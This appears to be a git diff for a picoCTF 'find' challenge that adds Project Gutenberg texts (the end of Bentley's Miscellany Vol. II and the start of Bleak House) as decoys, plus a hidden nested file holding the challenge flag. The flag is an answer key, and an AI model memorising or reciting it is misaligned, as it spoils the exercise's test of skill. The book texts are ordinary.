+who come within the vortex of her "full-blown suffisance."
+
+"Lady--what did you say? Harcourt, or Harewood,--which?--I didn't
+distinctly hear." "Yes, Lady Harcourt." "Why, I thought she was dead."
+"Oh, yes, the _Countess_ is dead; but this is Lady Harcourt Bumsted:
+that's her husband, Sir Julius,--he was knighted last Wednesday."
+
+"There's honour for you!--grinning honour," as Falstaff has it.
+
+Notabilities like these are nearly as illustrious as the surreptitious
+knights and dames who, by dint of surpassing impudence, pass current
+for as good as they. Both classes remind us of the gypsy-herald
+"_Rouge-Sanglier_," whose colours were as bright, and trappings
+as gay, as those of the legitimate "_Toison d'Or_:" they have but
+one fault; like him, their blazon is false, their arms are wrongly
+"tricked," metal overlays metal, gold covers brass, and native _gules_
+gives way to intrusive purple. The glory of our chivalry is often
+awkwardly eclipsed when it happens that a Frenchman is called upon to
+designate the new-made knight; he treats his Christian name with as
+much indifference as he manifests in the spelling of his surname,--a
+rule he always applies to those of British growth. We know a clever,
+shrewd, little, antiquarian Frenchman, whom no persuasion can induce
+to abbreviate a single letter of reference to page, folio, edition, or
+date; but who, whenever he has occasion to mention a knight or baronet
+of his acquaintance, invariably omits his _nom de baptême?_. How
+pleasantly it would sound to hear the announcement of "Sir Biddles,"
+"Sir Doody," or "Sir Farwig!" and yet this would be the predicament of
+these worthies were they ungraced by noble _prænomina_.
+
+The second class whose merits we propose to discuss are the
+illustrators of the "Binomial Theorem,"--the double-named
+families,--who, too hideous to walk alone, conjoin ugliness of equal
+intensity to scare and appal wherever they make their way. It is not
+sufficient for such as they that their name be Groutage or Gramshaw;
+they incontinently connect it--if they can--with "a worser," (to use
+the showman's phrase,) and "double-up" with Rapkin or Titterton. Thus
+we hear, at our morning concert, Mrs. Rapkin Gramshaw's carriage
+stopping the way; and a vain and desolate outcry in the Opera colonnade
+for the chariot of Mrs. Titterton Groutage. It would matter little if
+we were only doomed to _hear_ these names thus generally repeated;
+but there is a mode of administering them which makes us _feel_ them,
+scorching and searing our inmost heart of hearts! A double name--no
+matter how base or dissonant--is held to be the most grateful to ears
+polite, as if the natural consequence of the intermarriage of two great
+discords must of necessity give birth to harmony.
+
+How often have we writhed under the cruel infliction, when, betrayed
+by bad weather during a morning call, we have sat through the tedious
+hour of detaining rain, and listened to the forgotten glories of the
+races of Slark and Cutbush! It is a rule with _all people_,--no matter
+how they may be designated _now_, or how utterly their names defy
+the ingenuity of antiquaries to render their etymology,--to derive
+their ancestral honours from the time of William the Conqueror! It is
+true that the bastard Duke had a general letter of licence for the
+enlistment of all the vagabonds that swarmed in Europe at the period
+of his expedition; and we know how many ruffians of all classes, from
+the predatory baron to the pillaging freebooter, thronged to his
+standard,--and so far there may often be some show of reason in the
+pretension.
+
+But our claimants for origin among the Conqueror's _noblesse_ are not
+to be expected to dwell on this point with historical minuteness; what
+they wish to imply when they tell us that "the Smookers and Tites
+came over with the Conqueror," is, that they were equal in station to
+the De Albinis and De Warennes, who led their forces to the battle of
+Hastings, and gave the Conqueror his crown.
+
+"Ours is a very old family indeed," says a thick-headed Devonshire
+squire, with scarcely wit enough to spell the name he bears,--"we came
+over with William the Conqueror: the Chubbs are a very old family;
+the first of the name was William the Conqueror's standard-bearer,
+Reginald de Chubb. Here's our coat of arms, we've got it on _all_ our
+carriages,--three Chubs proper, in a field vert; the crest a hand and
+dagger,--_because_ he saved the king's life!"
+
+We knew this man's grandfather well, "excellent well,--he was a
+fishmonger," and sold the chubs he boasts of!
+
+Miss Eleanor Pogson Lillicrap is a very fine young lady indeed; she
+discourses much on the gentility of Pa's and Ma's family, but chiefly
+of Ma's.
+
+"The Lillicraps are very ancient,--a very old family in
+Sussex,--settled there long before Magna Charta; indeed, I believe they
+came over with the Conqueror. But the Pogsons--Ma's family--are much
+older,--in fact, descended directly from Alfred."
+
+And this is perfectly true;--Alfred Pogson kept a butcher's shop at
+Brighton, and was Miss Eleanor's grandfather!
+
+Some persons are not content with one bad name, but write and engrave
+it in duplicate. There are the Brown Browns, and the Jackson Jacksons,
+the Cooper Coopers, and the Grimes Grimeses. These families consist of
+many members, every one of whom is enumerated at the greatest possible
+length. We once saw the programme of some private theatricals to be
+enacted one Christmas at the Gamsons',--we beg pardon, the Gamson
+Gamsons'. It ran as follows,--the play being Romeo and Juliet:
+
+Romeo               Mr. Gamson Gamson.
+Mercutio            Mr. John Gamson Gamson.
+Benvolio            Mr. Charles Peter Gamson Gamson.
+Tybalt              Mr. James Timbury Gamson Gamson.
+Capulet             Mr. Philip de Walker Gamson Gamson.
+Friar Lawrence      Mr. Wellington Gamson Gamson.
+Juliet              Miss Gamson Gamson.
+Lady Capulet        Mrs. Gamson Gamson.
+Nurse               Miss Horatia Gamson Gamson.
+Page                Miss Octavia Juliana Gamson Gamson.
+
+And, had there been more characters to fill up, there would still have
+been Gamson Gamsons to supply the vacuum.
+
+Double-named people abound in watering-places, and shine in
+subscription-lists. The Master of the Ceremonies' book faithfully
+announces the arrival of Mr. and Mrs. Bennett Hoskins Abrahall, and
+Sir Joseph and Lady Moggridge Shankey. We are told in the provincial
+records of "fashionable movements" that Mr. Raggs Thimbleby has taken
+a house for the season on the New Steine at Brighton; and that Mrs.
+Pilcher Frisby intends to pass the winter at Cheltenham. The Poles
+are in distress, and require a subscription; who heads the list?--Mr.
+Munt Spriggins! There is to be a meeting in favour of the Spitalfields
+weavers; who takes the chair?--Sir Runnacles Faddy! But there would
+be no end to the list were we to enumerate even a tithe of those who
+"rush into our head." The proverb which dooms the dog to destruction
+that bears "an ill name" is reversed in the case of man; affix whatever
+inharmonious compound you please to the patronymic of a Briton, and
+you only add to his celebrity: and we are firmly of opinion that
+the time is not far distant, when, the powers of permutation being
+exhausted, opprobrious epithets will assume their place in the rank of
+names, and figure in the annals of fashion; Sir Ruffian Rascal will
+then walk arm-in-arm with Lord Percy Plantagenet, and the "lovely and
+accomplished" Miss Mortimer be led to the altar by the wealthy and
+fashionable Sir Swindle Bully!
+
+
+
+
+ANOTHER ORIGINAL OF "NOT A DRUM WAS HEARD."
+
+
+Our readers will recollect that in our first number the facetious
+priest of Water-grass-hill made a notable discovery that the Rev.
+Mr. Wolfe's celebrated lyric on the burial of Sir John Moore was not
+original, but a translation from a French poem written to commemorate
+the loss of a certain Colonel de Beaumanoir, who fell in India while
+defending Pondicherry against the forces of Coote. Father Prout, it
+is well known, loves a joke, and we must be cautious how we receive
+his evidence, more especially as another claim to the original of Mr.
+Wolfe's lines has been set up on behalf of a German poet. The following
+verses were found, it is said, in the monastery of Oliva, near Danzig,
+where it is well known that, during the Swedish war in Germany under
+Gustavus Adolph, a Swedish general of the name of Thorstenson fell on
+the ramparts of Danzig, and was buried during the night on the spot.
+Our readers must determine the question for themselves. Our own mind is
+thoroughly made up as to this controversy.
+
+    KEIN Grabgesang, keine Trommel erscholl
+      Als zum Wall' seine Leiche wir huben;
+    Kein Krieger schoss ihm sein Lebewohl
+      Wo wir still unsern Helden begruben.
+
+    Wir gruben in stummer Nacht ihn ein
+      Mit Bayonetten in Erd' und in Trümmer,
+    Bey des trüben Mondlichts schwankendem Schein
+      Und der matten Lanterne Geflimmer.
+
+    Kein unnützer Sarg seine Brust einhegt',
+      Nicht mit Linnen und Tüchern bedecket;
+    Er lag, wie ein Krieger sich schlafen legt,
+      Im Soldatenmantel gestrecket.
+
+    Gar lange Gebete hielten wir nicht,
+      Wir sprachen kein Wort von Sorgen;
+    Wir schauten nur fest auf das todte Gesicht
+      Und dachten mit Schmerz an den Morgen.
+
+    Wir dachten, als wir gewühlet sein Bett'
+      Und sein einsames Kissen gezogen,
+    Wie Fremdling und Feind über's Haupt ihm geht,
+      Wenn fern wir über den Wogen.
+
+    Wenn sie über der kalten Asche sodann
+      Den entflohenen Geist mögen kränken:
+    Er achtet es nicht, wenn er ruhen nur kann
+      In der Gruft wo ihn Schweden versenken.
+
+    Unser schweres Geschäft war nur halb gethan,
+      Als die Glocke zum Rückzug ertönte;
+    Wir hörten der Feinde Geschosse nahn,
+      Da die ferne Kanone erdröhnte.
+
+    Wir legten ihn langsam und traurig hinein,
+      Frisch blutend vom Felde der Ehren;
+    Wir liessen, ohn' Grabmal und Leichenstein,
+      Ihn nur mit dem Ruhme gewähren.
+
+
+
+
+INDEX
+
+TO
+
+THE SECOND VOLUME.
+
+
+  A.
+
+  Ablaincourt, Monsieur d', 360.
+
+  Adventures in Paris, the Five Floors, 495. 575.
+
+  ---- of a Tale, 511.
+
+  Africans, superstition of the, 48.
+
+  Apportionment of the World, from Schiller, 549.
+
+  Astronomical Agitation, reform of the Solar System, 508.
+
+  Autobiography of a Good Joke, 354.
+
+
+  B.
+
+  Ball, Lady Blue's, 380.
+
+  Ballar, legend of, 527.
+
+  Bandits, the last of the, 585.
+
+  Barbone, Signor, (a bandit,) adventures of, 585.
+
+  Bayly, Thomas Haynes, paper by, 124.
+
+  Beau Nash, see _Nash_.
+
+  "Bee-Hive," The Cannon Family by the author of the, 150. 445.
+
+  Begaud, Mons. narrative of his life, 186. 472.
+
+  Biddy Tibs, who cared for nobody, story of, 288.
+
+  Binks, Tom, story of, 27.
+
+  Blake, Marmaduke, 340.
+
+  Borowlaski, Count, lines occasioned by the death of, 484.
+
+  Botherby, Mrs. story related by, 92.
+
+  "Boz," Oliver Twist, &c. by, 2. 110. 215. 397. 430. 534.
+
+  Brandy, When and why the Devil invented, 518.
+
+  Brinvilliers, Marquis de, 229.
+
+  ---- Marchioness de, account of her secret poisonings, 230;
+    of her apprehension, 236;
+    execution, 237.
+
+  Buckthorne, Master Erasmus, 92.
+
+  Butterfly Bishop, see _Fictions of the Middle Ages_.
+
+
+  C.
+
+  Calonne, M. 473.
+
+  Cannon Family, account of the, 150;
+    particulars of their Journey to Boulogne, 454.
+
+  Capital Punishments in London eighty years ago, (Earl Ferrers,) 595.
+
+  Carr, Robert, Viscount Rochester and Earl of Somerset, his
+  influence with King James I. 322;
+    created Earl of Somerset, 323;
+    his conduct to Sir Thomas Overbury, 324;
+    his marriage with Lady Essex, 326;
+    his trial for the murder of Sir Thomas Overbury, 332.
+
+  Castle by the Sea, lines on the, 623.
+
+  Chapter on Laughing, 163;
+    On Widows, 485.
+
+  Church of the Seven, legend of the, 530.
+
+  Club-foot, the man with a, 381.
+
+  Confessions of an Elderly Gentleman, 445.
+
+  Costello, Dudley, "Nobility in Disguise" by, 626.
+
+  Courtship, story of a Marine's, 82.
+
+  Cross, Mr. Remonstratory Ode to, 413.
+
+
+  D.
+
+  Darby Ryan, his account of his journey to Bally----, 69.
+    Account of a festival given by him, 464.
+
+  Darby the Swift; or, the Longest Way round is
+  the Shortest Way Home, 68. 464.
+
+  De Kock, M. Paul, paper by, 360.
+
+  Deering, Mr. character of, 31.
+
+  ---- Julia, story respecting, 31.
+
+  Disappointed Man, some passages in the life of a, 270.
+
+  Double Barrel, the, song of the month, by Father Prout, 213.
+
+  Dream, The, 206.
+
+  Duel, The, by Captain Medwin, 76.
+
+
+  E.
+
+  Elderly Gentleman, Confessions of an, 445.
+
+  Essex, Countess of, divorced from her husband, 323;
+    her marriage with the Earl of Somerset, 326;
+    her trial for poisoning Sir Thomas Overbury, 331.
+
+  Excellent Offer, an, 340.
+
+
+  F.
+
+  Family Stories, the Leech of Folkestone, 91.
+    Patty Morgan the Milkmaid's Story, 207.
+
+  _Fang_, Mr. remarks on his magisterial conduct, 12.
+
+  Father's, My, Old Hall, 453.
+
+  Ferrers, Earl, account of his execution, 595.
+
+  Fictions of the Middle Ages,--the Butterfly Bishop, 17.
+
+  Fog, Peter-Pindaric ode to the, 606.
+
+  Folkestone, story of the Leech of, 91.
+
+  Foster Child, story of the, 37.
+
+  Francesca, Serenade to, 239.
+
+
+  G.
+
+  Gahagan, Goliah, The Professor by, 277.
+
+  Genius; or, the Dog's-meat Dog, a sonnet, 214.
+
+  Gentleman Quite, a poem, 36.
+
+  Gibson, John Ward, narrative of, 240.
+
+  Girl, the lonely, a poem, 548.
+
+  Glorvina, the Maid of Meath, by Sheridan Knowles, 304.
+
+  Good Humour, Glories of, 591.
+
+  Good Joke, autobiography of a, 340.
+
+  Granada, the Key of, lines on, 303.
+
+  Greek Plays observation on, 551.
+
+  Grub Street News, 425.
+
+
+  H.
+
+  Hajji Baba, Remains of, his observations on English politics, 52;
+    on the appearance of England, 167;
+    his interview with the English Vizier, 173.
+
+  Hauteville, Nathalie de, 360.
+
+  Henry, Prince, eldest son of James I. of England, character of, 336;
+    suspicions respecting his death, 338.
+
+  Hogarth, George, Poisoners of the Seventeenth Century by, 229. 322.
+
+  Holl, H. paper by, 288.
+
+  Honan, M. Burke, a Marine's Courtship by, 82.
+
+
+  I.
+
+  Ingoldsby, Thomas, Family Stories by, 91. 207.
+
+  Inquiries, a few, 470.
+
+
+  J.
+
+  Jack among the Mummies, by the Old Sailor, 610.
+
+  James I. King of England, his encouragement of favourites, 322;
+    his partiality for Robert Carr, Viscount Rochester, _ib._;
+    creates him Earl of Somerset, 323;
+    his conduct upon the inquiry into the death of Sir Thomas
+      Overbury, 327;
+    on the death of his son, Prince Henry, 338.
+
+  Jocund, Joyce, papers by, 176. 413.
+
+  Johns, Richard, paper by, 521.
+
+  Joke, autobiography of a good, 354.
+
+
+  K.
+
+  Kate Kearney, a New Song to the tune of, 25.
+
+  Key of Granada, lines on the, 303.
+
+  Knowles, Sheridan, Glorvina by, 304.
+
+
+  L.
+
+  La Chaussée, account of his secret poisonings, 232;
+    his execution, 235.
+
+  Ladies, Shakspeare's, criticisms on, 550.
+
+  Lady Blue's Ball, 380.
+
+  Laughing, chapter on, 163.
+
+  Leech of Folkestone, story of the, 91.
+
+  Legends--the Legend of Ballar, 527;
+    of the Church of the Seven, 530;
+    some account of the legends of the Torry Islanders, 531.
+
+  Legislative Nomenclature, 624.
+
+  Lines--on Smoke, 268;
+    on the Key of Granada, 303;
+    on the death of Count Borowlaski, a Polish dwarf, 484;
+    on the Castle by the Sea, 623.
+
+  London, capital punishments in, eighty years ago, 595.
+
+  "Look at the Clock!" a poem, by Thomas Ingoldsby, 207.
+
+  Love in the City; or, All's well that ends well, 126;
+    critical remarks upon, by W.H. Maxwell, 133.
+
+  Lyric for Lovers, a poem, 50.
+
+
+  M.
+
+  Maginn, Dr. Shakspeare Papers by, 57. 370.
+
+  Man with the Club Foot, a tale of St. Luke's, 381.
+
+  Marine's Courtship, story of a, 82.
+
+  Marsh, Master Thomas, story respecting him, 93.
+
+  Martial in Town, 507.
+
+  Mascalbruni, Geronymo, adventures of, by Captain Medwin, 254.
+
+  Mayhew, E. piece by, 197.
+
+  Medwin, Captain, stories and narrations by, 76. 254. 585.
+
+  Midnight Mishaps, 197.
+
+  Midsummer Night's Dream, criticisms on, 370.
+
+  Monk of Ravenne, 81.
+
+  Month, songs of the, see _Songs_.
+
+  Morier, J. Remains of Hajji Baba by, 51. 166.
+
+  Mudfog Association, full report of the first meeting of, for the
+  advancement of Everything, 397.
+
+  Muster Chaunt for the Members of the Temperance Societies, 165.
+
+  My Father's Old Hall, 453.
+
+  My Uncle, a fragment, 175.
+
+
+  N.
+
+  Nash, Richard, (Beau Nash,) memoir of, 414.
+
+  Nights at Sea; or, Sketches of Naval Life during the War,
+  by the Old Sailor;
+    the French Captain's Story, 183. 471;
+    Jack among the Mummies, 610.
+
+  Nine Muse-ings on his Native County, by Phelim O'Toole, 319.
+
+  Nobility in Disguise, 626.
+
+  Nomenclature, Legislative, 624.
+
+  Norton, Mrs. Erskine, Adventures of a Tale by, 511.
+
+  "Not a Drum was heard," another original of, 632.
+
+
+  O.
+
+  Ode--to Mr. Cross, 413.
+    To the Queen, 573.
+
+  Old Bell, Song of the, 196.
+
+  Oliver Twist; or, the Parish Boy's Progress;
+    particulars respecting his residence with the Jew, 2. 7;
+    his adventures with his companions, 8;
+    his examination by Mr. Fang the magistrate, 12;
+    taken under the protection of Mr. Brownlow, 16;
+    his residence with him, 110;
+    further particulars respecting his stay with Mr. Brownlow, 215;
+    remarkable prediction respecting him, 221;
+    reclaimed by the Jew and his companions, 227;
+    further account of him after his recapture, 430. 437;
+    how he passed his time in the improving society of his reputable
+      friends, 534;
+    a notable plan discussed and determined on, 540.
+
+  Overbury, Sir Thomas, secretary to Lord Rochester, 323;
+    committed to the Tower, 324;
+    his death, 326;
+    inquiry into his supposed murder, 327.
+
+
+  P.
+
+  Passages in the Life of a Disappointed Man, 270.
+
+  Patty Morgan the Milkmaid's Story, 207.
+
+  Penautier, M. observations concerning him, 238.
+
+  Peter-Pindaric ode to the Fog, 606.
+
+  Petrarch in London, 494.
+
+  Phelim O'Toole's Nine Muse-ings on his Native County, 319.
+
+  Piper's Progress, the, by Father Prout, 67.
+
+  Poems, 36. 50. 181. 207.
+
+  Poisoners of the Seventeenth Century, 229. 322.
+
+  Polish Dwarf, lines on the death of a, 484.
+
+  Portrait Gallery, the Cannon Family, 150;
+    Account of their Adventures in Boulogne, 454.
+
+  Professor, the, a tale, 277.
+
+  Prout, Father, Poems by, 1. 67. 213.
+
+  Punch, poetry by, 533. 606.
+
+  Punishments, see _Capital Punishments_.
+
+
+  Q.
+
+  Queen, ode to, 568.
+
+
+  R.
+
+  Rankin, F. Harrison, Three Notches of the Devil's Tale by, 46.
+
+  Rather hard to take, a poem, 181.
+
+  Ravenne, Monk of, 81.
+
+  Regatta, the, by W.H. Maxwell, 299.
+
+  Relics of St. Pius, 463.
+
+  Remains of Hajji Baba, by J. Morier, 51. 166.
+
+  "Reminiscences of a Monthly Nurse," papers by the author of, 135.
+
+  Remonstratory Ode to Mr. Cross, 413.
+
+  Report of the First Meeting of the Mudfog Association for the
+  advancement of Everything, 397.
+
+  Rivals of yore, What though we were, 124.
+
+  Roches, Peter de, Bishop of Winchester, story respecting him, 17.
+
+  Rochester, Viscount, see _Carr, Robert_.
+
+  Romeo and Juliet, criticisms on, by Dr. Maginn, 57.
+
+
+  S.
+
+  St. Croix, M. particulars respecting him, 229;
+    account of his secret poisonings, 231;
+    his death, 233.
+
+  St. Paul's, Why the wind blows round, 176.
+
+  St. Pius, relics of, 462.
+
+  Schiller, poem from, 549.
+
+  Secret Poisoners, 229. 230. 232. 323. 332.
+
+  Secret, the, from M. Paul de Kock, 360.
+
+  Serenade, the, from Uhland, 149.
+
+  Serenades, 149. 239.
+
+  Sevigné, Madame, her remarks respecting the Marchioness
+  de Brinvilliers, 237;
+    respecting M. Penautier, 238.
+
+  Shakspeare Papers, Romeo and Juliet, 57.
+    Midsummer Night's Dream, 370.
+    Lady Macbeth, 558.
+
+  Smoke, lines on, 268.
+
+  Solar System, reform of the, 508.
+
+  Somerset, Earl of, see _Carr, Robert_.
+
+  Song--a new one to the tune of "Kate Kearney," 25;
+    of the South, 179;
+    of the Old Bell, 196;
+    of Modern Time, 594.
+
+  Songs of the Month, July, 1;
+    August, 109;
+    September, 213;
+    October, 321;
+    November, 429;
+    December, 533.
+
+  Sonnet on Genius; or, the Dog's-meat Dog, 213.
+
+  Stanzas, Elegiac, 16.
+
+  "Stories of Waterloo," Legends, &c. by the author of,
+  (W.H. Maxwell,) 125. 299.
+
+  Suicide, 569.
+
+
+  T.
+
+  Tale, adventures of a, 511.
+
+  Temperance Societies, Muster Chaunt for the, 165.
+
+  Three Notches from the Devil's Tail; or, the Man in the
+  Spanish Cloak, 135.
+
+  Tibs, Biddy, who cared for nobody, story of, 288.
+
+  Torry Islanders, some account of the legends of the, by the author
+  of "Stories of Waterloo," 531.
+
+  Translations from Uhland, 149. 206.
+
+  Tweazle, Mr. adventures of, 197.
+
+  Twist, see _Oliver Twist_.
+
+
+  U.
+
+  Uhland, translation from, 149. 206.
+
+  Uncle, My, a fragment, 175.
+
+
+  W.
+
+  Wade, J.A. Darby the Swift, &c. by, 68. 196. 239. 319. 464.
+
+  Wall, Governor, execution of, 602.
+
+  Webbe, E. paper by, 214.
+
+  "Waterloo," Legends by the author of "Stories of,"
+  (W.H. Maxwell,) 125. 299. 527.
+
+  What though we were rivals of yore, by T. Haynes Bayly, 124.
+
+  Whitehead, C. 181. 240.
+
+  White Man's Devil House, a fragment, 46.
+
+  Widows, chapter on, 485.
+
+  Wilson, Mrs. Cornwell Baron, Songs by, 16. 380. 453.
+
+  Wit in spite of himself, the, 521.
+
+  Wood, Mr. anecdote related by him of Beau Nash, 419.
+
+
+END OF THE SECOND VOLUME.
+
+
+LONDON: PRINTED BY SAMUEL BENTLEY, Dorset-Street, Fleet-Street.
+
+
+       *       *       *       *       *
+
+
+Transcriber's Notes
+
+Minor punctuation errors have been corrected where they appeared to be
+from the printer.
+
+Spelling and hyphenation show many inconsistencies, but these have been
+left as printed, unless obvious slips.
+
+French, Italian and Latin snippets are often poorly or wrongly
+accented, but have been left as printed.
+
+  p6, 26, 29, 316. "visiter(s)" corrected to "visitor(s)" which is used
+    throughout the majority of the text.
+  p29, 32. "Pinks" corrected to "Binks".
+  p31. "cachmere" left as printed.
+  p53. Spelling of "Jān Pûl" made consistent throughout the section.
+  p167. "bazars" left as printed.
+  p193. "downfal" corrected to "downfall".
+  p203. "I'm blowed if ve pads" corrected to "I'm blowed if we pads".
+  p229-234. Both D'Aubray and d'Aubray used, corrected to d'Aubray.
+  p284. "srimps" corrected to "shrimps".
+  p299. "taunt spars", left as printed, "taunt" is an old usage for
+    tallest.
+  p334. "accessary" corrected to "accessory".
+  p363. "D'Apremont" corrected to  "d'Apremont".
+  p313. "obstrusive courtesy" corrected to "obtrusive courtesy".
+  p316. "her ancles" corrected to "her ankles".
+  p344. "ordidary" corrected to "ordinary"
+  p373. "port of Pyramus" corrected to "part of Pyramus".
+  p411. "Qeerspeck" corrected to "Queerspeck".
+  p422. "He uotes" corrected to "He notes".
+  p457. "scurrilous article" corrected to "scurrilous articles".
+  p495. "venders" corrected to "vendors".
+  p509. "Corruscations" corrected to "Coruscations".
+  p551. "corse of Hector" corrected to "corpse of Hector".
+  p553. (Footnote A) This quote appears to be from canto 28., but left
+    as printed.
+  p569. "making tho practice" corrected to "making the practice"
+  p619. "by way amusement" corrected to "by way of amusement"
+  p634. "ome account" corrected to "some account"
+  p635. "Prout, Father, Peoms" corrected to "Prout, Father, Poems"
+
+
+
+
+
+
+End of Project Gutenberg's Bentley's Miscellany, Volume II, by Various
+
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diff --git a/first_find/files/adequate_books/more_books/.secret/deeper_secrets/deepest_secrets/uber-secret.txt b/first_find/files/adequate_books/more_books/.secret/deeper_secrets/deepest_secrets/uber-secret.txt
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@@ -0,0 +1 @@
+picoCTF{f1nd_15_f457_ab443fd1}
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+The Project Gutenberg eBook, Bleak House, by Charles Dickens
+
+
+This eBook is for the use of anyone anywhere at no cost and with
+almost no restrictions whatsoever.  You may copy it, give it away or
+re-use it under the terms of the Project Gutenberg License included
+with this eBook or online at www.gutenberg.org
+
+
+
+
+
+Title: Bleak House
+
+
+Author: Charles Dickens
+
+
+Release Date: August 1, 1997  [eBook #1023]
+Most recently updated: February 21, 2012
+
+Language: English
+
+Character set encoding: ISO-646-US (US-ASCII)
+
+
+***START OF THE PROJECT GUTENBERG EBOOK BLEAK HOUSE***
+
+
+E-text prepared by Donald Lainson, Toronto, Canada,
+and revised by Thomas Berger and Joseph E. Loewenstein, M.D.
+
+
+
+BLEAK HOUSE
+
+by
+
+CHARLES DICKENS
+
+
+
+
+
+CONTENTS
+
+            Preface
+         I. In Chancery
+        II. In Fashion
+       III. A Progress
+        IV. Telescopic Philanthropy
+         V. A Morning Adventure
+        VI. Quite at Home
+       VII. The Ghost's Walk
+      VIII. Covering a Multitude of Sins
+        IX. Signs and Tokens
+         X. The Law-Writer
+        XI. Our Dear Brother
+       XII. On the Watch
+      XIII. Esther's Narrative
+       XIV. Deportment
+        XV. Bell Yard
+       XVI. Tom-all-Alone's
+      XVII. Esther's Narrative
+     XVIII. Lady Dedlock
+       XIX. Moving On
+        XX. A New Lodger
+       XXI. The Smallweed Family
+      XXII. Mr. Bucket
+     XXIII. Esther's Narrative
+      XXIV. An Appeal Case
+       XXV. Mrs. Snagsby Sees It All
+      XXVI. Sharpshooters
+     XXVII. More Old Soldiers Than One
+    XXVIII. The Ironmaster
+      XXIX. The Young Man
+       XXX. Esther's Narrative
+      XXXI. Nurse and Patient
+     XXXII. The Appointed Time
+    XXXIII. Interlopers
+     XXXIV. A Turn of the Screw
+      XXXV. Esther's Narrative
+     XXXVI. Chesney Wold
+    XXXVII. Jarndyce and Jarndyce
+   XXXVIII. A Struggle
+     XXXIX. Attorney and Client
+        XL. National and Domestic
+       XLI. In Mr. Tulkinghorn's Room
+      XLII. In Mr. Tulkinghorn's Chambers
+     XLIII. Esther's Narrative
+      XLIV. The Letter and the Answer
+       XLV. In Trust
+      XLVI. Stop Him!
+     XLVII. Jo's Will
+    XLVIII. Closing In
+      XLIX. Dutiful Friendship
+         L. Esther's Narrative
+        LI. Enlightened
+       LII. Obstinacy
+      LIII. The Track
+       LIV. Springing a Mine
+        LV. Flight
+       LVI. Pursuit
+      LVII. Esther's Narrative
+     LVIII. A Wintry Day and Night
+       LIX. Esther's Narrative
+        LX. Perspective
+       LXI. A Discovery
+      LXII. Another Discovery
+     LXIII. Steel and Iron
+   LXIV. Esther's Narrative
+   LXV. Beginning the World
+   LXVI. Down in Lincolnshire
+   LXVII. The Close of Esther's Narrative
+
+
+
+
+PREFACE
+
+
+A Chancery judge once had the kindness to inform me, as one of a
+company of some hundred and fifty men and women not labouring under
+any suspicions of lunacy, that the Court of Chancery, though the
+shining subject of much popular prejudice (at which point I thought
+the judge's eye had a cast in my direction), was almost immaculate.
+There had been, he admitted, a trivial blemish or so in its rate of
+progress, but this was exaggerated and had been entirely owing to the
+"parsimony of the public," which guilty public, it appeared, had been
+until lately bent in the most determined manner on by no means
+enlarging the number of Chancery judges appointed--I believe by
+Richard the Second, but any other king will do as well.
+
+This seemed to me too profound a joke to be inserted in the body of
+this book or I should have restored it to Conversation Kenge or to
+Mr. Vholes, with one or other of whom I think it must have
+originated. In such mouths I might have coupled it with an apt
+quotation from one of Shakespeare's sonnets:
+
+                     "My nature is subdued
+   To what it works in, like the dyer's hand:
+   Pity me, then, and wish I were renewed!"
+
+But as it is wholesome that the parsimonious public should know what
+has been doing, and still is doing, in this connexion, I mention here
+that everything set forth in these pages concerning the Court of
+Chancery is substantially true, and within the truth. The case of
+Gridley is in no essential altered from one of actual occurrence,
+made public by a disinterested person who was professionally
+acquainted with the whole of the monstrous wrong from beginning to
+end. At the present moment (August, 1853) there is a suit before the
+court which was commenced nearly twenty years ago, in which from
+thirty to forty counsel have been known to appear at one time, in
+which costs have been incurred to the amount of seventy thousand
+pounds, which is A FRIENDLY SUIT, and which is (I am assured) no
+nearer to its termination now than when it was begun. There is
+another well-known suit in Chancery, not yet decided, which was
+commenced before the close of the last century and in which more than
+double the amount of seventy thousand pounds has been swallowed up in
+costs. If I wanted other authorities for Jarndyce and Jarndyce, I
+could rain them on these pages, to the shame of--a parsimonious
+public.
+
+There is only one other point on which I offer a word of remark. The
+possibility of what is called spontaneous combustion has been denied
+since the death of Mr. Krook; and my good friend Mr. Lewes (quite
+mistaken, as he soon found, in supposing the thing to have been
+abandoned by all authorities) published some ingenious letters to me
+at the time when that event was chronicled, arguing that spontaneous
+combustion could not possibly be. I have no need to observe that I do
+not wilfully or negligently mislead my readers and that before I
+wrote that description I took pains to investigate the subject. There
+are about thirty cases on record, of which the most famous, that of
+the Countess Cornelia de Baudi Cesenate, was minutely investigated
+and described by Giuseppe Bianchini, a prebendary of Verona,
+otherwise distinguished in letters, who published an account of it at
+Verona in 1731, which he afterwards republished at Rome. The
+appearances, beyond all rational doubt, observed in that case are the
+appearances observed in Mr. Krook's case. The next most famous
+instance happened at Rheims six years earlier, and the historian in
+that case is Le Cat, one of the most renowned surgeons produced by
+France. The subject was a woman, whose husband was ignorantly
+convicted of having murdered her; but on solemn appeal to a higher
+court, he was acquitted because it was shown upon the evidence that
+she had died the death of which this name of spontaneous combustion
+is given. I do not think it necessary to add to these notable facts,
+and that general reference to the authorities which will be found at
+page 30, vol. ii.,* the recorded opinions and experiences of
+distinguished medical professors, French, English, and Scotch, in
+more modern days, contenting myself with observing that I shall not
+abandon the facts until there shall have been a considerable
+spontaneous combustion of the testimony on which human occurrences
+are usually received.**
+
+In Bleak House I have purposely dwelt upon the romantic side of
+familiar things.
+
+
+1853
+
+
+   *Transcriber's note. This referred to a specific page in
+    the printed book. In this Project Gutenberg edition the
+    pertinent information is in Chapter XXX, paragraph 90.
+
+   ** Another case, very clearly described by a dentist,
+    occurred at the town of Columbus, in the United States
+    of America, quite recently. The subject was a German who
+    kept a liquor-shop and was an inveterate drunkard.
+
+
+
+
+CHAPTER I
+
+In Chancery
+
+
+London. Michaelmas term lately over, and the Lord Chancellor sitting
+in Lincoln's Inn Hall. Implacable November weather. As much mud in
+the streets as if the waters had but newly retired from the face of
+the earth, and it would not be wonderful to meet a Megalosaurus,
+forty feet long or so, waddling like an elephantine lizard up Holborn
+Hill. Smoke lowering down from chimney-pots, making a soft black
+drizzle, with flakes of soot in it as big as full-grown
+snowflakes--gone into mourning, one might imagine, for the death of
+the sun. Dogs, undistinguishable in mire. Horses, scarcely better;
+splashed to their very blinkers. Foot passengers, jostling one
+another's umbrellas in a general infection of ill temper, and losing
+their foot-hold at street-corners, where tens of thousands of other
+foot passengers have been slipping and sliding since the day broke
+(if this day ever broke), adding new deposits to the crust upon crust
+of mud, sticking at those points tenaciously to the pavement, and
+accumulating at compound interest.
+
+Fog everywhere. Fog up the river, where it flows among green aits and
+meadows; fog down the river, where it rolls defiled among the tiers
+of shipping and the waterside pollutions of a great (and dirty) city.
+Fog on the Essex marshes, fog on the Kentish heights. Fog creeping
+into the cabooses of collier-brigs; fog lying out on the yards and
+hovering in the rigging of great ships; fog drooping on the gunwales
